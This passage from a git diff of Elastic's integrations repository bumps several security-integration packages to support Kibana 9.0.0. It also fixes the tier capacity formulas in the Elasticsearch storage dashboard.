+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/cybereason/manifest.yml b/packages/cybereason/manifest.yml
index bd85f8e84e9..6099e86b4e0 100644
--- a/packages/cybereason/manifest.yml
+++ b/packages/cybereason/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.0.3
name: cybereason
title: Cybereason
-version: "1.2.1"
+version: "1.3.0"
description: Collect logs from Cybereason with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/cylance/changelog.yml b/packages/cylance/changelog.yml
index 8f2a4955664..3c5179d47a5 100644
--- a/packages/cylance/changelog.yml
+++ b/packages/cylance/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.23.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.22.0"
changes:
- description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
diff --git a/packages/cylance/manifest.yml b/packages/cylance/manifest.yml
index 73db3c1c1fe..da18c7bef31 100644
--- a/packages/cylance/manifest.yml
+++ b/packages/cylance/manifest.yml
@@ -1,13 +1,13 @@
format_version: 2.7.0
name: cylance
title: CylanceProtect Logs
-version: "0.22.0"
+version: "0.23.0"
description: Collect logs from CylanceProtect devices with Elastic Agent.
categories: ["security", "edr_xdr"]
type: integration
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
policy_templates:
- name: protect
title: CylanceProtect
diff --git a/packages/darktrace/changelog.yml b/packages/darktrace/changelog.yml
index 3b91810864f..9f8329403fc 100644
--- a/packages/darktrace/changelog.yml
+++ b/packages/darktrace/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.23.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.22.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/darktrace/manifest.yml b/packages/darktrace/manifest.yml
index 6b2a7834914..493be568764 100644
--- a/packages/darktrace/manifest.yml
+++ b/packages/darktrace/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: darktrace
title: Darktrace
-version: "1.22.1"
+version: "1.23.0"
description: Collect logs from Darktrace with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- network_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/darktrace-screenshot.png
title: Darktrace Model Breach Alert Dashboard Screenshot
diff --git a/packages/ded/changelog.yml b/packages/ded/changelog.yml
index 718870bd227..88615d0ff5f 100644
--- a/packages/ded/changelog.yml
+++ b/packages/ded/changelog.yml
@@ -1,3 +1,8 @@
+- version: "2.3.0"
+ changes:
+ - description: Add support for Kibana `9.0.0`
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12940
- version: "2.2.1"
changes:
- description: Add agent policy documentation
diff --git a/packages/ded/elasticsearch/transform/pivot_transform/transform.yml b/packages/ded/elasticsearch/transform/pivot_transform/transform.yml
index cf413c923d2..a487b4801af 100644
--- a/packages/ded/elasticsearch/transform/pivot_transform/transform.yml
+++ b/packages/ded/elasticsearch/transform/pivot_transform/transform.yml
@@ -1,6 +1,6 @@
dest:
- index: ml_network_ded-2.2.0
+ index: ml_network_ded-2.3.0
aliases:
- alias: ml_network_ded.latest
move_on_creation: true
diff --git a/packages/ded/manifest.yml b/packages/ded/manifest.yml
index c510ecf828d..3f54c6067f0 100644
--- a/packages/ded/manifest.yml
+++ b/packages/ded/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.0.0
name: ded
title: "Data Exfiltration Detection"
-version: 2.2.1
+version: 2.3.0
source:
license: "Elastic-2.0"
description: "ML package to detect data exfiltration in your network and file data."
@@ -12,7 +12,7 @@ categories:
- advanced_analytics_ueba
conditions:
kibana:
- version: "^8.10.1"
+ version: "^8.10.1 || ^9.0.0"
elastic:
subscription: platinum
capabilities:
diff --git a/packages/dga/changelog.yml b/packages/dga/changelog.yml
index 542fa801d44..43f395415bf 100644
--- a/packages/dga/changelog.yml
+++ b/packages/dga/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.2.0"
+ changes:
+ - description: Add support for Kibana `9.0.0`
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12940
- version: "2.1.1"
changes:
- description: Add agent policy documentation
diff --git a/packages/dga/manifest.yml b/packages/dga/manifest.yml
index 019b56a159e..7b39a2d756f 100644
--- a/packages/dga/manifest.yml
+++ b/packages/dga/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.0.4
name: dga
title: "Domain Generation Algorithm Detection"
-version: 2.1.1
+version: 2.2.0
source:
license: "Elastic-2.0"
description: "ML solution package to detect domain generation algorithm (DGA) activity in your network data."
@@ -12,7 +12,7 @@ categories:
- advanced_analytics_ueba
conditions:
kibana:
- version: "^8.9.0"
+ version: "^8.9.0 || ^9.0.0"
elastic:
subscription: platinum
screenshots:
diff --git a/packages/digital_guardian/changelog.yml b/packages/digital_guardian/changelog.yml
index df9987afeb2..ff9da8b4a17 100644
--- a/packages/digital_guardian/changelog.yml
+++ b/packages/digital_guardian/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.4.0"
changes:
- description: Add export profile GUID to documents.
diff --git a/packages/digital_guardian/manifest.yml b/packages/digital_guardian/manifest.yml
index ea4ba69d06c..805298a78dc 100644
--- a/packages/digital_guardian/manifest.yml
+++ b/packages/digital_guardian/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: digital_guardian
title: Digital Guardian
-version: "1.4.0"
+version: "1.5.0"
description: Collect logs from Digital Guardian with Elastic Agent.
type: integration
categories:
@@ -11,7 +11,7 @@ source:
license: "Elastic-2.0"
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/elasticsearch/changelog.yml b/packages/elasticsearch/changelog.yml
index 664557ccbc5..53320b325f1 100644
--- a/packages/elasticsearch/changelog.yml
+++ b/packages/elasticsearch/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.17.4"
+ changes:
+ - description: Fix formulas for computing tier capacity
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/11480
- version: "1.17.3"
changes:
- description: Fix ingest pipeline reference in elasticsearch transform job
diff --git a/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml
index 144a0bb21e0..ab4e1ec25ef 100644
--- a/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml
+++ b/packages/elasticsearch/data_stream/index/_dev/test/system/test-default-config.yml
@@ -6,3 +6,6 @@ vars:
username: elastic
password: changeme
data_stream: ~
+# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1
+# remove this setting once the Kibana constraint in the package manifest is >=8.17.1
+skip_transform_validation: true
diff --git a/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml
index 258073dd228..ec9b0905020 100644
--- a/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml
+++ b/packages/elasticsearch/data_stream/index_recovery/_dev/test/system/test-default-config.yml
@@ -8,3 +8,6 @@ vars:
data_stream:
vars:
active.only: false
+# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1
+# remove this setting once the Kibana constraint in the package manifest is >=8.17.1
+skip_transform_validation: true
diff --git a/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml b/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml
index c67afb168d7..0c6339292e9 100644
--- a/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml
+++ b/packages/elasticsearch/data_stream/index_summary/_dev/test/system/test-default-config.yml
@@ -6,3 +6,6 @@ vars:
username: elastic
password: changeme
data_stream: ~
+# Current `index_pivot` transform is expected to work just on stack versions >=8.17.1
+# remove this setting once the Kibana constraint in the package manifest is >=8.17.1
+skip_transform_validation: true
diff --git a/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml b/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml
index 366d4a88095..57e94c7ed8b 100644
--- a/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml
+++ b/packages/elasticsearch/elasticsearch/transform/index_pivot/transform.yml
@@ -1,5 +1,5 @@
source:
- index: "metrics-elasticsearch.stack_monitoring.index*,.monitoring-es-8*,metricbeat-*"
+ index: "metrics-elasticsearch.stack_monitoring.index*,.monitoring-es-*,metricbeat-*"
query:
bool:
filter:
@@ -119,7 +119,7 @@ pivot:
script: "Math.max(0, params.end-params.start)"
dest:
index: "monitoring-indices"
- pipeline: "1.17.3-monitoring_indices"
+ pipeline: "1.17.4-monitoring_indices"
description: This transform runs every 10 minutes to compute extra metrics for the Elasticsearch indices.
frequency: 10m
settings:
diff --git a/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json b/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json
index 3d7352f1d57..669a9143ba3 100755
--- a/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json
+++ b/packages/elasticsearch/kibana/dashboard/elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a.json
@@ -10,12 +10,12 @@
"ignoreValidations": false
},
"panelsJSON": {
- "26fa3348-d349-409e-8aad-5da1da895099": {
+ "a68989df-598b-4464-9c6b-55775912bbb5": {
"explicitInput": {
"enhancements": {},
"existsSelected": false,
"fieldName": "cluster_uuid",
- "id": "26fa3348-d349-409e-8aad-5da1da895099",
+ "id": "a68989df-598b-4464-9c6b-55775912bbb5",
"selectedOptions": [],
"title": "Cluster"
},
@@ -24,12 +24,12 @@
"type": "optionsListControl",
"width": "medium"
},
- "edc5ea25-970b-4f97-8064-64ad5a3a9533": {
+ "fef7d043-569d-4ed2-9fdf-ce87704e449f": {
"explicitInput": {
"enhancements": {},
"fieldName": "elasticsearch.node.name",
"grow": true,
- "id": "edc5ea25-970b-4f97-8064-64ad5a3a9533",
+ "id": "fef7d043-569d-4ed2-9fdf-ce87704e449f",
"searchTechnique": "wildcard",
"title": "Node",
"width": "medium"
@@ -88,12 +88,12 @@
},
"gridData": {
"h": 46,
- "i": "233ac008-b397-40c0-a6d8-430e0ff614e6",
+ "i": "7c10f2d3-98e9-4077-a061-f4b9c58d40e9",
"w": 6,
"x": 0,
"y": 0
},
- "panelIndex": "233ac008-b397-40c0-a6d8-430e0ff614e6",
+ "panelIndex": "7c10f2d3-98e9-4077-a061-f4b9c58d40e9",
"title": "Table of Contents",
"type": "visualization"
},
@@ -396,12 +396,12 @@
},
"gridData": {
"h": 7,
- "i": "170c1c3f-3273-4565-b6ec-6f538a2c981a",
+ "i": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe",
"w": 8,
"x": 6,
"y": 0
},
- "panelIndex": "170c1c3f-3273-4565-b6ec-6f538a2c981a",
+ "panelIndex": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe",
"title": "Total Storage (all clusters)",
"type": "lens"
},
@@ -600,12 +600,12 @@
},
"gridData": {
"h": 7,
- "i": "583ea325-c28c-4a16-952c-1868d5c1aaa1",
+ "i": "285f3b8f-29b1-4377-92ab-5277f4f9fb72",
"w": 34,
"x": 14,
"y": 0
},
- "panelIndex": "583ea325-c28c-4a16-952c-1868d5c1aaa1",
+ "panelIndex": "285f3b8f-29b1-4377-92ab-5277f4f9fb72",
"title": "Total Storage per cluster (largest clusters first)",
"type": "lens"
},
@@ -833,12 +833,12 @@
},
"gridData": {
"h": 12,
- "i": "26bdde12-9818-4960-b087-2bc3113275b3",
+ "i": "26634e74-25c2-4185-bd11-b7f3d5f6dd94",
"w": 21,
"x": 6,
"y": 7
},
- "panelIndex": "26bdde12-9818-4960-b087-2bc3113275b3",
+ "panelIndex": "26634e74-25c2-4185-bd11-b7f3d5f6dd94",
"title": "Total Storage over time",
"type": "lens"
},
@@ -1073,12 +1073,12 @@
},
"gridData": {
"h": 12,
- "i": "df8e7d7a-eee6-43a4-b40f-570d3204858a",
+ "i": "e206a4d2-3243-47f0-9e0b-632898d1d1a9",
"w": 21,
"x": 27,
"y": 7
},
- "panelIndex": "df8e7d7a-eee6-43a4-b40f-570d3204858a",
+ "panelIndex": "e206a4d2-3243-47f0-9e0b-632898d1d1a9",
"title": "Total Bytes per node (data_content role) - Top 100",
"type": "lens"
},
@@ -1391,12 +1391,12 @@
},
"gridData": {
"h": 9,
- "i": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7",
+ "i": "137bc048-9306-40bb-a0ce-d8e282d2df56",
"w": 42,
"x": 6,
"y": 19
},
- "panelIndex": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7",
+ "panelIndex": "137bc048-9306-40bb-a0ce-d8e282d2df56",
"title": "Count of Indices \u0026 Shards by Cluster",
"type": "lens"
},
@@ -1406,12 +1406,12 @@
"references": [
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
}
],
@@ -1419,15 +1419,14 @@
"adHocDataViews": {},
"datasourceStates": {
"formBased": {
- "currentIndexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
"layers": {
"02e09bab-5219-430f-b9eb-174286c0f6d6": {
"columnOrder": [
"9245674b-1047-49b1-8f03-01484be9afac",
+ "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"9245674b-1047-49b1-8f03-01484be9afacX0",
"9245674b-1047-49b1-8f03-01484be9afacX1",
"9245674b-1047-49b1-8f03-01484be9afacX2",
- "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2"
@@ -1440,7 +1439,7 @@
"label": "Maximum",
"operationType": "formula",
"params": {
- "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -1488,8 +1487,8 @@
"max": 96,
"min": 0
},
- "name": "divide",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -1506,7 +1505,7 @@
"label": "Low Watermark",
"operationType": "formula",
"params": {
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -1566,8 +1565,8 @@
"max": 105,
"min": 0
},
- "name": "divide",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -1580,7 +1579,6 @@
},
"ignoreGlobalFilters": false,
"incompleteColumns": {},
- "indexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
"linkToLayers": [],
"sampling": 1
},
@@ -1707,7 +1705,6 @@
},
"ignoreGlobalFilters": false,
"incompleteColumns": {},
- "indexPatternId": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
"sampling": 1
}
}
@@ -1810,12 +1807,12 @@
},
"gridData": {
"h": 9,
- "i": "8752d51c-1b01-4876-8b10-055bbf61caa2",
+ "i": "e9c29467-4e0f-450d-b30c-9d05db7fcaea",
"w": 21,
"x": 6,
"y": 28
},
- "panelIndex": "8752d51c-1b01-4876-8b10-055bbf61caa2",
+ "panelIndex": "e9c29467-4e0f-450d-b30c-9d05db7fcaea",
"title": "Total Hot Capacity",
"type": "lens"
},
@@ -1825,12 +1822,12 @@
"references": [
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
}
],
@@ -1843,10 +1840,10 @@
"02e09bab-5219-430f-b9eb-174286c0f6d6": {
"columnOrder": [
"9245674b-1047-49b1-8f03-01484be9afac",
+ "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"9245674b-1047-49b1-8f03-01484be9afacX0",
"9245674b-1047-49b1-8f03-01484be9afacX1",
"9245674b-1047-49b1-8f03-01484be9afacX2",
- "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2"
@@ -1859,7 +1856,7 @@
"label": "Maximum",
"operationType": "formula",
"params": {
- "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -1907,8 +1904,8 @@
"max": 96,
"min": 0
},
- "name": "divide",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -1925,7 +1922,7 @@
"label": "Low Watermark",
"operationType": "formula",
"params": {
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -1985,8 +1982,8 @@
"max": 105,
"min": 0
},
- "name": "divide",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2039,7 +2036,7 @@
"decimals": 0
}
},
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2098,21 +2095,21 @@
"e95f13e7-1417-419e-8f53-634184c0497aX1"
],
"location": {
- "max": 116,
+ "max": 115,
"min": 1
},
"name": "subtract",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)",
"type": "function"
},
"e95f13e7-1417-419e-8f53-634184c0497aX2"
],
"location": {
- "max": 158,
+ "max": 156,
"min": 0
},
"name": "multiply",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2229,12 +2226,12 @@
},
"gridData": {
"h": 9,
- "i": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5",
+ "i": "fbb2075f-d9fc-41f6-8dce-20f90247d08a",
"w": 21,
"x": 27,
"y": 28
},
- "panelIndex": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5",
+ "panelIndex": "fbb2075f-d9fc-41f6-8dce-20f90247d08a",
"title": "Total Warm Capacity",
"type": "lens"
},
@@ -2244,12 +2241,12 @@
"references": [
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
}
],
@@ -2262,10 +2259,10 @@
"02e09bab-5219-430f-b9eb-174286c0f6d6": {
"columnOrder": [
"9245674b-1047-49b1-8f03-01484be9afac",
+ "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"9245674b-1047-49b1-8f03-01484be9afacX0",
"9245674b-1047-49b1-8f03-01484be9afacX1",
"9245674b-1047-49b1-8f03-01484be9afacX2",
- "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2"
@@ -2278,7 +2275,7 @@
"label": "Maximum",
"operationType": "formula",
"params": {
- "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2326,8 +2323,8 @@
"max": 96,
"min": 0
},
- "name": "divide",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2344,7 +2341,7 @@
"label": "Low Watermark",
"operationType": "formula",
"params": {
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2401,11 +2398,11 @@
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1"
],
"location": {
- "max": 105,
+ "max": 104,
"min": 0
},
- "name": "divide",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2458,7 +2455,7 @@
"decimals": 0
}
},
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2517,21 +2514,21 @@
"e95f13e7-1417-419e-8f53-634184c0497aX1"
],
"location": {
- "max": 116,
+ "max": 115,
"min": 1
},
"name": "subtract",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)",
"type": "function"
},
"e95f13e7-1417-419e-8f53-634184c0497aX2"
],
"location": {
- "max": 158,
+ "max": 156,
"min": 0
},
"name": "multiply",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2648,12 +2645,12 @@
},
"gridData": {
"h": 9,
- "i": "be551525-62bc-469a-b798-a2d9d5bc4c53",
+ "i": "5244b514-3922-44c8-9348-60001c2123ac",
"w": 21,
"x": 6,
"y": 37
},
- "panelIndex": "be551525-62bc-469a-b798-a2d9d5bc4c53",
+ "panelIndex": "5244b514-3922-44c8-9348-60001c2123ac",
"title": "Total Cold Capacity",
"type": "lens"
},
@@ -2663,12 +2660,12 @@
"references": [
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
}
],
@@ -2681,10 +2678,10 @@
"02e09bab-5219-430f-b9eb-174286c0f6d6": {
"columnOrder": [
"9245674b-1047-49b1-8f03-01484be9afac",
+ "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"9245674b-1047-49b1-8f03-01484be9afacX0",
"9245674b-1047-49b1-8f03-01484be9afacX1",
"9245674b-1047-49b1-8f03-01484be9afacX2",
- "fcf44d9e-8c9d-4a2e-b6eb-b9275313282c",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX0",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX1",
"fcf44d9e-8c9d-4a2e-b6eb-b9275313282cX2"
@@ -2697,7 +2694,7 @@
"label": "Maximum",
"operationType": "formula",
"params": {
- "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "formula": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2745,8 +2742,8 @@
"max": 96,
"min": 0
},
- "name": "divide",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2763,7 +2760,7 @@
"label": "Low Watermark",
"operationType": "formula",
"params": {
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2823,8 +2820,8 @@
"max": 105,
"min": 0
},
- "name": "divide",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)",
+ "name": "multiply",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -2877,7 +2874,7 @@
"decimals": 0
}
},
- "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"isFormulaBroken": false
},
"references": [
@@ -2936,21 +2933,21 @@
"e95f13e7-1417-419e-8f53-634184c0497aX1"
],
"location": {
- "max": 116,
+ "max": 115,
"min": 1
},
